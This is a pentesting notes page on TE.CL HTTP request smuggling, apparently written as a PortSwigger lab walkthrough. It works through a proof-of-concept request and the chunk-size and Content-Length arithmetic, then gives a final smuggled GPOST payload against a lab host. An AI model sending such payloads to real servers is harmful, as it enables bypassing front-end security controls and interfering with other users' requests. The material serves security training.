> For the complete documentation index, see [llms.txt](https://michel-disbergen.gitbook.io/hack-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://michel-disbergen.gitbook.io/hack-notes/web-pentesting/_vulnerabilities/http-request-smuggling/te.cl.md).

# TE.CL

**REQUIREMENTS:**

* Front-end supports `Transfer-encoding`
* backend supports the `Content-length`.

**REFERENCE:**

* <https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl>

**DESCRIPTION:**

By sending a correct `Transfer-Encoding: chunked` header and a `Content-Length` header. The front-end processes the chunked body, while the back-end processes the Content-Length.

1. **Proof of concept**

```http
POST / HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
Transfer-Encoding: chunked
\r\n
1\r\n
G\r\n
0\r\n
\r\n
```

2. **Build the smuggled request**

```
A.	Calculate smuggled body Content-Length
|
|	body = 10 bytes + 1 byte = 11 bytes for the Content-Length (captures start of next request)
 
\r\n
x=1\r\n
0\r\n
\r\n
 
B.	Calculate chunk size (hex)
|
|	select everything from GPOST up to and including x=1 which equals 92 bytes --> 0x5c
 
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 11\r\n
\r\n
x=1
 
C.	Set outer Content-Length (first POST request) above the GPOST
|
<...>
Content-Length: 4
Transfer-Encoding: chunked
 
5c\r\n
GPOST
<...>
```

3. **Final payload**

```http
POST / HTTP/1.1
Host: 0ab9001b0350b9c680a6f312009b00e5.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
\r\n
5c\r\n
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
\r\n
x=1\r\n
0\r\n
\r\n
```